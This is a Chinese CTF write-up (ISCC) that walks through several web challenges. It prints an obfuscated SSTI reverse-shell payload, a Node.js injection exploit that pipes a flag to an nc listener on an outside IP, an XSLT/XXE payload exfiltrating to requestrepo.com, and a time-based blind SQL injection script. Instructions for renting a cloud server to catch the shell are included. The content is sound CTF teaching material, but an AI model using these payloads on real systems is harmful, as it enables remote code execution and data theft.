ba=((nb~dict(c=x)|join)*(lh,do)|sum)%((de,do,la)|sum,(de,do)|sum,(llla,qj)|sum,(de,lla,hx)|sum,(lla,lla,do,hx)|sum,(et,do,la)|sum,(de,do,la,la)|sum,(lla,lla,do,hx)|sum,(lla,lla,lla,la)|sum,(de,do,la)|sum,(de,do)|sum,(llla,qj)|sum,(de,lla,hx)|sum,(lla,lla,do,hx)|sum,(et,do,la)|sum,(de,lla,qj)|sum,(lla,lla,do,hx)|sum,(sbb,bb)|sum,(et,la)|sum,(lla,lla,do,hx)|sum,(lh,la)|sum,(de,do,hx)|sum,(de,lla)|sum,(llla,do)|sum,(lh,la)|sum,(llla,aj)|sum,(de,do,la,la)|sum,(llla,la)|sum,(lh,la)|sum,(lh,hx)|sum,(lh,hx)|sum,(sbb,la)|sum,lh,(lh,bb)|sum,(lh,do)|sum,lh,(lh,hx)|sum,(lh,do,la,la)|sum,(sbb,la)|sum,lh,(lh,do,la)|sum,(lh,do)|sum,(lh,la)|sum,sbb,sbb,sbb,sbb,(lla,lla,do,hx)|sum,(lh,la,la)|sum,(sbb,bb)|sum,(et,la)|sum,(lh,hx)|sum,(lla,lla,lla,la)|sum)%}{%print ((g|attr(pp)|attr(go)|attr(gi)(bl)|attr(gi)(ip))(qi)|attr(po))(ba)|attr(re)()%}'

開啟8888端口

在這里插入圖片描述

使用構造好的payload輸入;

在這里插入圖片描述

反彈成功,直接查看目錄下flag1、2即可;

在這里插入圖片描述
在這里插入圖片描述

查看app.py源碼,分析flag3代碼的加密邏輯;

from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from Crypto.Random import get_random_bytes
from enum import Enum
class Mode(Enum):ECB = 0x01CBC = 0x02CFB = 0x03
class Cipher:def __init__(self, key, iv=None):self.BLOCK_SIZE = 64self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]self.DELTA = 0x9e3779b9self.IV = ivself.ROUNDS = 64if self.IV:self.mode = Mode.CBC if iv else Mode.ECBif len(self.IV) * 8 != self.BLOCK_SIZE:self.mode = Mode.CFBdef _xor(self, a, b):return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))def encrypt_block(self, msg):m0 = b2l(msg[:4])m1 = b2l(msg[4:])msk = (1 << (self.BLOCK_SIZE//2)) - 1s = 0for i in range(self.ROUNDS):s += self.DELTAm0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i+1) % len(self.KEY)])m0 &= mskm1 += ((m0 << 4) + self.KEY[(i+2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(i+3) % len(self.KEY)])m1 &= mskreturn l2b((m0 << (self.BLOCK_SIZE//2)) | m1)def encrypt(self, msg):msg = pad(msg, self.BLOCK_SIZE//8)blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]ct = b''if self.mode == Mode.ECB:for pt in blocks:ct += self.encrypt_block(pt)elif self.mode == Mode.CBC:X = self.IVfor pt in blocks:enc_block = self.encrypt_block(self._xor(X, pt))ct += enc_blockX = enc_blockelif self.mode == Mode.CFB:X = self.IVfor pt in blocks:output = self.encrypt_block(X)enc_block = self._xor(output, pt)ct += enc_blockX = enc_blockreturn ct
if __name__ == '__main__':KEY = get_random_bytes(16)IV = get_random_bytes(8)cipher = Cipher(KEY, IV)FLAG = b'xxxxxxxxxxxxxxxxxxx'ct = cipher.encrypt(FLAG)# KEY: 3362623866656338306539313238353733373566366338383563666264386133print(f'KEY: {{KEY.hex()}}')# IV: 64343537373337663034346462393931print(f'IV: {{IV.hex()}}')# Ciphertext: 1cb8db8cabe8edbbddb202b7f24b51f1f35c369b107355f7print(f'Ciphertext: {{ct.hex()}}')

讓GPT寫個解密flag3腳本;

from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enumclass Mode(Enum):ECB = 0x01CBC = 0x02CFB = 0x03class Cipher:def __init__(self, key, iv=None):self.BLOCK_SIZE = 64self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]self.DELTA = 0x9e3779b9self.IV = ivself.ROUNDS = 64if self.IV:self.mode = Mode.CBC if iv else Mode.ECBif len(self.IV) * 8 != self.BLOCK_SIZE:self.mode = Mode.CFBdef _xor(self, a, b):return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))def decrypt_block(self, ct):msk = (1 << (self.BLOCK_SIZE // 2)) - 1c0 = b2l(ct[:4])c1 = b2l(ct[4:])s = (self.DELTA * self.ROUNDS) & mskfor i in range(self.ROUNDS):c1 -= ((c0 << 4) + self.KEY[(self.ROUNDS - i - 1 + 2) % len(self.KEY)]) ^ (c0 + s) ^ ((c0 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 3) % len(self.KEY)])c1 &= mskc0 -= ((c1 << 4) + self.KEY[(self.ROUNDS - i - 1) % len(self.KEY)]) ^ (c1 + s) ^ ((c1 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 1) % len(self.KEY)])c0 &= msks -= self.DELTAreturn l2b((c0 << (self.BLOCK_SIZE // 2)) | c1)def encrypt_block(self, msg):m0 = b2l(msg[:4])m1 = b2l(msg[4:])msk = (1 << (self.BLOCK_SIZE // 2)) - 1s = 0for i in range(self.ROUNDS):s += self.DELTAm0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i + 1) % len(self.KEY)])m0 &= mskm1 += ((m0 << 4) + self.KEY[(i + 2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(i + 3) % len(self.KEY)])m1 &= mskreturn l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)def decrypt(self, ct):blocks = [ct[i:i + self.BLOCK_SIZE // 8] for i in range(0, len(ct), self.BLOCK_SIZE // 8)]pt = b''if self.mode == Mode.ECB:for ct_block in blocks:pt += self.decrypt_block(ct_block)elif self.mode == Mode.CBC:X = self.IVfor ct_block in blocks:dec_block = self.decrypt_block(ct_block)pt_block = self._xor(X, dec_block)pt += pt_blockX = ct_blockelif self.mode == Mode.CFB:X = self.IVfor ct_block in blocks:output = self.encrypt_block(X)pt_block = self._xor(output, ct_block)pt += pt_blockX = ct_blockreturn unpad(pt, self.BLOCK_SIZE // 8)if __name__ == '__main__':# Provided KEY and IV in hexadecimal formatKEY = bytes.fromhex('3362623866656338306539313238353733373566366338383563666264386133')IV = bytes.fromhex('64343537373337663034346462393931')CIPHERTEXT = bytes.fromhex('1cb8db8cabe8edbbddb202b7f24b51f1f35c369b107355f7')# Initialize the cipher with the given key and IVcipher = Cipher(KEY, IV)# Decrypt the ciphertextdecrypted_message = cipher.decrypt(CIPHERTEXT)# Print the decrypted message (the flag)
print(f'Decrypted message: {decrypted_message}')
#Decrypted message: b'Flag[3]: Cr!@IkhEr}'

將我們剛剛得到的4部分flag合并;

I{R_ifCs@jSNNH^95KSKCA_Nr8BVcwCr!@IkhEr}

柵欄解密即可;(注意是枚舉解密)也可以隨波逐流梭哈,看自己喜歡;

網站:https://ctf.bugku.com/tool/railfence

在這里插入圖片描述

ISCC{NArRN_!_HN@i^rIf98kC5BhsKVE@ScrjKw}
8、這題我出不了了

打開靶機啥信息也沒給;只給了一個關鍵信息,點擊進去發現注冊頁面;

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

簡單分析一下;

        const mysql = require("mysql");const pg = require("pg"); // use pg@7.0.2// WAFconst WAFWORDS = ["select", "union", "and", "or", "delete", "drop", "create", "alter", "truncate", "exec", "xp_cmdshell", "insert", "update", "sp_", "having", "exec master", "net user", "xp_", "waitfor", "information_schema", "table_schema", "sysobjects", "version", "group_concat", "concat", "distinct", "sysobjects", "user", "schema_name", "column_name", "table_name", "\", "/", "*", " ", ";", "--", "(", ")", "'", """, "=", "<", ">", "!=", "<>", "<=", ">=", "||", "+", "-", ",", ".", "[", "]", ":", "||", "*/", "/*", "_", "%"]// debug: // ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==//     Y29uc29sZS5sb2coZGF0YSk7// fSk7
  1. 數據庫連接:

    • 使用mysql模塊來連接和操作MySQL數據庫。
    • 使用pg模塊(特別是版本7.0.2)連接和操作PostgreSQL數據庫。
  2. WAF (Web Application Firewall):

    • WAFWORDS數組定義了一系列不允許在輸入中出現的詞匯和字符。這些主要是SQL語句的關鍵字(如select, delete, drop等),以及可能用于SQL注入攻擊的特殊字符(如;, --, ', "等)。
    • 這個簡單的WAF實現的目的是防止SQL注入攻擊,通過檢查輸入是否包含這些禁用詞匯和字符來實現。
  3. 調試:

    • 提供了一個Base64編碼的字符串:ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==,解碼后是fs.readFile('printFlag', 'utf8', (err, data) => {,這是Node.js中fs模塊的readFile函數的調用,嘗試讀取名為printFlag的文件內容。
    • 緊接著的兩個Base64編碼的字符串分別解碼為console.log(data);});,這兩行代碼完成了讀取文件內容并將其打印到控制臺的操作。

總結:這段代碼演示了如何在Node.js應用中使用MySQL和PostgreSQL數據庫,以及如何實現一個簡單的防火墻來防止SQL注入攻擊。通過定義一系列可能用于惡意SQL操作的關鍵字和特殊字符,代碼嘗試過濾掉潛在的危險輸入。此外,通過Base64編碼的字符串提供了一個示例,展示了如何讀取文件內容并打印

雖然巴拉巴拉了一大堆但是問題不大哈,看不懂沒關系;

直接反手查一手數據庫版本看看有沒有什么漏洞可以利用;

在這里插入圖片描述

往下翻翻,看見個帖子,發現仿題,大差不多跟著復現即可;

http://47.96.173.116/2021/10/27/hitcon-2017sql-so-hard/

這時候很多第一次接觸服務器的就懵了,什么是服務器,怎么開啟呢?

不要急哈,這里手把手教學,你來你也行;

首先我這里開的是騰訊云的;(不會很貴就幾毛錢不用害怕)

鏈接:https://over-rainbow.cn/posts/2017-hitcon-sql-so-hard/

微信登錄即可;

我們是這個;

在這里插入圖片描述

接著點擊自定義配置,選擇競價實例;(其它暫時不需要動)

在這里插入圖片描述

選擇這個就足夠我們使用了(針對這道題,如有需要長期可自行選擇其它);

在這里插入圖片描述

這邊選擇CentOS鏡像(推薦),至于版本選擇第一個或者隨便,容量選擇20夠用了;

在這里插入圖片描述

接著下一步,網絡默認(如果發現必填那就刷新重新來即可),按計量收費(拉滿);

在這里插入圖片描述

安全組選擇新建全部勾選(以防萬一);

在這里插入圖片描述

這邊登錄方式選擇立即關聯密鑰;

在這里插入圖片描述

點擊立即新建,然后就會跳轉一個新的頁面;

在這里插入圖片描述
在這里插入圖片描述

創建完成會自動下載一個后綴pem的文件(切記保管好不要亂傳);

在這里插入圖片描述

然后返回購買頁面,然后就有選項了;

在這里插入圖片描述

最后配置完成選擇購買(溫馨提示,騰訊云需要里面至少有10塊噢,以及要滿18);

在這里插入圖片描述

購買完成,成功進去,那就恭喜你踏出自己從未接觸過的領域;(本機防火墻建議暫時全部關掉先)

在這里插入圖片描述

這里自己的公、內網ip收好噢,接著點進名稱修改安全組;

在這里插入圖片描述

點擊編輯規則;

在這里插入圖片描述

這邊先點擊一鍵放通,接著在點擊添加規則;

在這里插入圖片描述

選擇自定義,后面都是ALL,點擊確認即可;

在這里插入圖片描述

接著在點擊出站規則,還是一鍵放通;

在這里插入圖片描述

接著返回剛剛的頁面,點擊登錄;

在這里插入圖片描述

然后登錄選擇密鑰驗證(其它不需要改動);

在這里插入圖片描述

可以看見我們已經進入我們自己的服務器啦!

在這里插入圖片描述

我們需要反彈shell之前先需要更新一下源,再安裝一下nc;

1、mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup2、wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo3、yum clean all4、yum makecache5、yum update6、yum -y install nc

一句一句執行我上面六條命令一個都不要少(碰到y/d/n全部選擇y)即可;

當然會換的可以自己百度一下;

更新并且安裝完成nc,可以直接先嘗試鏈接自己本機;

ncat -lvvp 8888

這就算是開啟監聽端口;

在這里插入圖片描述

接著我們使用本機nc鏈接自己開啟的端口(測試一下是否鏈接成功);

原理和pwn的nc一個道理,這里我使用的是kali鏈接;

nc -自己公網ip 開啟端口號

接著我隨便在kali(本機上)輸入一個ls(沒有實際作用),會發現服務器也自動輸入了一個ls;

做到這里就代表沒有問題了,可以開始反彈shell了;

在這里插入圖片描述
在這里插入圖片描述
接著就可以使用python腳本來反彈shell了;

注意腳本里面的nc需要改成自己的公網ip以及端口!!!!!

腳本:

from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc 129.211.186.163 8888`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {'username': username+payload,'password': 'AAAAAA'}
print('ok')
r = requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92', data=data)
print(r.content.decode('utf-8'))

簡單分析一下這個腳本;

這個腳本使用Python編寫,旨在通過HTTP POST請求向一個特定網址發送包含惡意代碼的數據。這里的目的是嘗試利用目標服務器上的漏洞,執行遠程代碼,特別是為了執行反彈shell命令。

  1. 導入模塊

    • randint 用于生成隨機數。
    • requests 用于發起HTTP請求。
  2. 構造Payload

    • payload 是一個精心構造的字符串,目的是通過SQL注入或其他漏洞注入惡意代碼。這段代碼嘗試執行以下操作:
      • 使用child_process模塊,這是Node.js的一個模塊,允許你執行操作系統命令。
      • 執行/printFlag|nc 119.45.44.214 8888命令,這是嘗試讀取名為printFlag的文件內容,并將這些內容通過netcatnc)命令發送到119.45.44.2148888端口。這是反彈shell的典型做法,目的是將敏感信息或命令執行結果發送到攻擊者控制的服務器。
    • % (' '*1024*1024*16) 這部分代碼用于生成一個非常大的空白字符串,是為了繞過某些類型的輸入驗證或觸發緩沖區溢出。
  3. 生成隨機用戶名

    • 通過連接三個隨機生成的數字字符串來創建一個唯一的username
  4. 發送HTTP POST請求

    • 使用requests.post函數向目標URL發送包含惡意payload的數據。data字典中的username字段包含了惡意代碼,而password字段則是一個簡單的字符串。
    • 打印出請求的響應內容,是為了檢查攻擊是否成功或服務器的反饋。

總結:簡單說就是嘗試利用目標服務器上的安全漏洞來執行遠程代碼。具體來說,它試圖通過反彈shell命令來泄露服務器上的敏感信息。

暫時就分析到這里,想要更詳解些的可以去看上面鏈接的博主解說;

那我們直接運行即可;(這邊因為官方服務器一直炸所以嘗試了很多遍)

在這里插入圖片描述

多返回服務器看幾遍看看有沒有彈出來,最后終于在某一次彈出來了。。。。。(不容易不容易)

今天bing還炸了,做的真的很艱辛。。。。

在這里插入圖片描述

最后,友情提示,如果不是長期需要服務器的記得撤銷噢,免得會一直扣錢;

注意!!!!是撤掉不是關機!!!關機還是一樣收費的!(占用資源)

在這里插入圖片描述

9、一道普通的XSS題目

打開靶機發現什么也沒有,查看源碼也沒有任何發現,沒辦法我們只能掃描一下目錄;

在這里插入圖片描述
這里掃了一會,發現了hints,那我們繼續跟進;

在這里插入圖片描述
直接Ctrl+c查看一手源碼,發現/lucky;

在這里插入圖片描述
點擊繼續跟進,發現了/flag源碼,當然這里flag肯定是假的不要多想;

在這里插入圖片描述
返回繼續訪問/adminbot目錄,得到提示讓我們補全參數;

在這里插入圖片描述
據上得到提示讓我們使用xxs攻擊,所以我們可以這樣構造payload;(參考大佬)

?payload=<script>alert(%27xxs%27)</script>

在這里插入圖片描述
做到這里,思路就斷了,然后想著看看能不能去社工一下看看有沒有原題啥的,然后沒想到還真被我發現了;

這是國際比賽一道題目,當時比賽0解,我覺得可能是由于大家題量都比較大時間較短或者重心沒有放在這邊,賽后大家就復現出來了;

鏈接:https://blog.ankursundara.com/dicectf23-writeups/

原題名:impossible-xss

博主里面有更詳細的講解大家感興趣的可以去看看;

這里我簡單總結一下;

挑戰賽由一個簡單的express.js網絡服務器組成,有兩條路由。

/- 通過查詢參數為我們提供 XSS?xss
/flag- 返回 Cookie 值FLAG
該標志存儲在管理機器人的 cookie 中,該 cookie 由端點呈現。因此,目標似乎是從 adminbot 中泄露 的內容,大概是使用 xss on .到目前為止,挑戰似乎非常簡單。FLAG/flag/flag/

注意(XSLT 中對 XXE 的 Chrome 支持完全沒有記錄在案,也不是任何規范的一部分,Firefox 不支持它。)

這里我就直接貼腳本吧;

const xmls = `<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM  "http://101.200.138.180:30280/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="/asdf"><HTML><HEAD><TITLE></TITLE></HEAD><BODY><img><xsl:attribute name="src">http://a265mf0j.requestrepo.com/?&xxe;</xsl:attribute></img></BODY></HTML></xsl:template>
</xsl:stylesheet>`;const xml = `<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${Buffer.from(xmls).toString('base64')}"?>
<asdf></asdf>`;
const xss = encodeURIComponent(xml);
console.log(xss);

簡單分析一下腳本:

1、定義XML樣式表 (xmls):
xmls 是一個多行模板字符串,它定義了一個包含XXE攻擊的XML樣式表。
在文檔類型聲明中,定義了一個名為 xxe 的XML實體,指向一個遠程服務器上的資源(可能是一個敏感文件)。
XSL樣式表定義了一個模板匹配 /asdf 節點,并構造了一個HTML結構,其中包含一個img標簽。
img標簽的src屬性被設置為一個URL,該URL包含了之前定義的XXE實體 &xxe;。這意味著當樣式表被解析時,XXE實體將被外部資源的內容替換。

2、構造XML文檔 (xml):
xml 是另一個多行模板字符串,它定義了一個XML文檔。
XML文檔使用xml-stylesheet處理指令引用了上面定義的XSL樣式表。該樣式表被轉換為Base64編碼,并作為數據URI嵌入到XML文檔中。
XML文檔包含一個根節點 ,這個節點匹配了XSL樣式表中定義的模板。

3、編碼和輸出 (xss):
xss 通過調用 encodeURIComponent 對整個XML文檔進行URL編碼。這通常用于確保在將數據作為URL參數傳遞時,特殊字符不會破壞URL的結構。
然后,腳本在控制臺上打印出編碼后的XML字符串。

總結:
這個腳本試圖構造一個可能用于XXE攻擊的XML文檔,并將其編碼為URL編碼的字符串。XXE攻擊可能允許攻擊者讀取遠程服務器上的文件、與后端系統進行交互或觸發遠程請求。腳本的輸出可以用于Web應用程序中的攻擊載荷,特別是在應用程序處理XML輸入并支持外部實體時。

(這里注意腳本里面的http://a265mf0j.requestrepo.com)簡單來說屬于自己生成的簡易服務器,注意替換成自己的;

生成服務器鏈接:https://requestrepo.com/

操作也非常簡單,進入點擊復制接著添加在腳本里面即可;

在這里插入圖片描述
因為這個腳本是node.js的,所以這里可以選擇自行下載來運行,當然也可以使用在線網站來運行;

下載網站:https://nodejs.cn/

在線網站:https://www.jyshare.com/compile/22/

這里我選擇在線網站;

在這里插入圖片描述
運行得到;

%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4xODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly9hMjY1bWYwai5yZXF1ZXN0cmVwby5jb20vPyZ4eGU7CiAgICAgICAgICA8L3hzbDphdHRyaWJ1dGU%2BCiAgICAgICAgPC9pbWc%2BCiAgICAgIDwvQk9EWT4KICAgIDwvSFRNTD4KICA8L3hzbDp0ZW1wbGF0ZT4KPC94c2w6c3R5bGVzaGVldD4%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E

接著我們繼續補全剛剛沒訪問成功payload;

http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=xxxxxx

我的;

http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4xODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly9hMjY1bWYwai5yZXF1ZXN0cmVwby5jb20vPyZ4eGU7CiAgICAgICAgICA8L3hzbDphdHRyaWJ1dGU%2BCiAgICAgICAgPC9pbWc%2BCiAgICAgIDwvQk9EWT4KICAgIDwvSFRNTD4KICA8L3hzbDp0ZW1wbGF0ZT4KPC94c2w6c3R5bGVzaGVldD4%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E

分析一下這個payload;

這個payload是一個針對Web應用程序的攻擊嘗試,它利用了XML外部實體(XXE)漏洞和服務器端請求偽造(SSRF)漏洞的組合。Payload的目的是從服務器獲取敏感信息(如flag文件)并將其發送到攻擊者控制的服務器。

1、URL請求:
請求發送到http://101.200.138.180:30280/adminbot?url=…,就是利用adminbot端點上的漏洞,該端點可能用于處理外部URL請求。

2、SSRF利用:
通過url參數,我們讓服務器向自己指定的URL發起請求。這里的URL是同一服務器上的另一個端點http://101.200.138.180:30280/?payload=…,這是我們利用服務器上的SSRF漏洞來訪問內部資源或觸發服務器上的其他動作。

3、XXE攻擊:
payload參數包含了經過URL編碼的XML數據,這些數據經解碼后包含一個XML聲明、一個XML樣式表處理指令和一個簡單的XML文檔。

XML數據中,通過xml-stylesheet處理指令嵌入了一個Base64編碼的XSL樣式表。解碼這個Base64字符串會得到一個包含XXE攻擊的XSL樣式表,該樣式表定義了一個外部實體xxe,其系統標識符指向http://101.200.138.180:30280/flag,這可能是攻擊者試圖讀取的敏感文件。

XSL樣式表通過img標簽的src屬性將xxe實體的內容(即敏感文件的內容)發送到我們控制的服務器http://a265mf0j.requestrepo.com/?&xxe;。

總結:
它結合了SSRF和XXE漏洞來試圖從目標服務器獲取敏感信息,并將這些信息發送到我們控制的外部服務器。通過讓目標服務器解析惡意XML數據,并利用XML外部實體從內部資源中提取數據,我們可能能夠繞過安全限制,訪問或泄露不應公開的信息。

最后返回我們的服務器翻到最底下即可看見返回的信息;

在這里插入圖片描述
ISCC{r1yGjDzs^TRsz395}

10、與時俱進

連上好不容易能進來的靶機

在這里插入圖片描述

有登錄和注冊界面

在這里插入圖片描述

用弱口令密碼試試

admin
123456

在這里插入圖片描述
在這里插入圖片描述

在系統信息查詢里面發現有大量軟件個數,可能存在sql注入
根據hint2,可能存在cve漏洞,上網搜cve 28346

在這里插入圖片描述

存在Django SQL注入
查看源代碼

在這里插入圖片描述
審計代碼發現nick_name被寫死,無回顯
采用時間盲注

在這里插入圖片描述
這里直接貼結果;(腳本在底下)

簡介 | 軟件異常檢測系統

http://123.57.204.215:8003/inquiry

運行后得到 flag 是 url{pf9lkmez},外面套上ISCC{}去提交,但是是錯的,那可能就是路徑,直接訪問/pf9lkmez,直接下載到了一份源碼:

在這里插入圖片描述

查看源碼
在finally\views.py和functions中發現有加密解密的邏輯函數,但是沒有私鑰,

在這里插入圖片描述

在這里插入圖片描述

解不出來東西,然后根據hint,猜測私鑰可能在服務器上 cve 50752

在這里插入圖片描述

該漏洞主要是在 python-cryptography 包中發現一個缺陷。此問題可能允許遠程攻擊者解密使用 RSA 密鑰交換的 TLS 服務器中捕獲的郵件,這可能導致機密或敏感數據泄露。
直接寫腳本跑出來了n e c

在這里插入圖片描述

在這里插入圖片描述

原代碼所在

Classic Bleichenbacher RSA Padding Oracle Attack 
(github.com)

代碼改改就可以直接用

(借鑒大佬的wp,環境太崩暫時未復現!!!!!!);

Exp;

import requests
import string
import timedef time_inject(condition):url = "http://123.57.204.215:8003/inquiry/"headers = {}cookies = {"csrftoken": "csrfmiddlewaretoken",  # 填自己的}data = {"csrfmiddlewaretoken": "cEsp1v9BivHqkawBwJBLvRaLJ4S9p9Gn51kPn23Op22pjEsZuhPmBZ3n7X5JwaJ7",  # 填自己的"sel_value": "name","nick_name": f'name",(case  when({condition})  then randomblob(1000000000) else 0 end),"1',}attempt = 0while attempt < 3:  # 嘗試請求最多3次try:start = time.time()response = requests.post(url, headers=headers, cookies=cookies, data=data)end = time.time()time_cost = end - startprint("time cost: ", time_cost)if time_cost > 10:  # 可以根據實際情況調整時間閾值return Trueelse:return Falseexcept Exception as e:print(f"Error occurred: {e}")attempt += 1time.sleep(5)  # 等待5秒后重試def get_length(var_name):for i in range(1, 1000):if time_inject(f"length({var_name})={i}"):return ireturn None  # 如果長度未找到,返回Nonedef get_char(var_name, index):alphabet = string.ascii_letters + string.digits + "{}_/+=-"for c in alphabet:if time_inject(f"substr({var_name},{index},1)='{c}'"):return creturn None  # 如果字符未找到,返回Nonedef get_flag():result = ""payload = "(select flag from flag limit 1)"  # 假設只獲取一個flag值length = get_length(payload)if length is None:print("Failed to retrieve the length of the flag.")return Nonefor i in range(1, length + 1):char = get_char(payload, i)if char is None:print(f"Character not found at position {i}.")result += '_'  # 使用'_'作為未知字符的占位符else:result += chartime.sleep(60)  # 介于請求之間的延遲,以避免過快發送請求return resultdef main():flag = get_flag()if flag:print(f"Flag: {flag}")else:print("Failed to retrieve the flag.")if __name__ == "__main__":main()

求Nec的wxp

import requests
import string
import time
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import binascii
import math
from Crypto.Util.number import *# 從PEM文件加載私鑰
def load_private_key_from_pem(file_path):with open(file_path, 'rb') as f:private_key = serialization.load_pem_private_key(f.read(),password=None,backend=default_backend())return private_key# 從PEM文件加載公鑰
def load_public_key_from_pem(file_path):with open(file_path, 'rb') as f:public_key = serialization.load_pem_public_key(f.read(),backend=default_backend())return public_key# 執行時間攻擊來檢查給定密文是否具有有效的填充
def time_attack(ciphertext, threshold=0.4):url = "http://123.57.204.215:8003/inquiry/"headers = {}cookies = {"csrftoken": "Xu3GkLC2QiOCPpvBxM8eY6tGAglrxiFvd2IZahaZV0YSQ2fi9vviiZehqCTYKVAn", # 填你自己的}data = {"csrfmiddlewaretoken": "j88ajzJNRLdCvdOqLurwIdb1TREpDFJ6zGNt95hKWtnSwQy7ndOA26WCJdcWQiEY", # 填你自己的"ciphertext": ciphertext}retries = 3for i in range(retries):try:response = requests.post(url, headers=headers, cookies=cookies, data=data, timeout=threshold)if response.status_code != 200:print("status_code:", response.status_code)continueprint("response:", response.text)return Trueexcept requests.exceptions.Timeout:return False# 本地設置用于測試的密鑰對
def local_setup():print('Using local loop back oracle for testing')pub_key = load_public_key_from_pem("public_key.pem")pn = pub_key.public_numbers()print(' e: {}'.format(pn.e))print(' n: {}'.format(pn.n))ciphertext = long_to_bytes(int(open("message_bak.log", "r").read().strip()))print(' c: {}'.format(binascii.hexlify(ciphertext)))print()def oracle(ct):c = int.from_bytes(ct, 'big')return time_attack(c)return ciphertext, oracle, pn.e, pn.n# 定義向上取整的除法
def ceildiv(a, b):return -(-a // b)# 定義向下取整的除法
def floordiv(a, b):return a // b# 主函數執行Bleichenbacher攻擊
def main():print('Bleichenbacher RSA padding algorithm')print(' for more info see 1998 paper.')print()ct, oracle, e, n = local_setup()...# 此處省略了攻擊的具體實現細節...# 如果是直接運行此腳本,則執行main函數
if __name__ == "__main__":main()

三、Reverse

迷失之門

下載附件,無殼64位;

鎖定主函數main,F5查看偽C;

在這里插入圖片描述
分析一下

這段代碼是一個C++程序的一部分,它從用戶那里讀取輸入,并檢查輸入字符串的長度。如果長度合適,它將檢查字符串中特定位置的字符是否都是小寫或下劃線。如果不是,v7被設置為0。接著,它調用check函數來進行進一步的檢查,最后程序暫停等待用戶輸入。如果輸入的字符串太長,程序將輸出一條消息并暫停。這種模式很典型地出現在需要用戶輸入特定格式數據的程序中。

既然這樣那我們雙擊check看看里面是什么;

在這里插入圖片描述

分析一下;

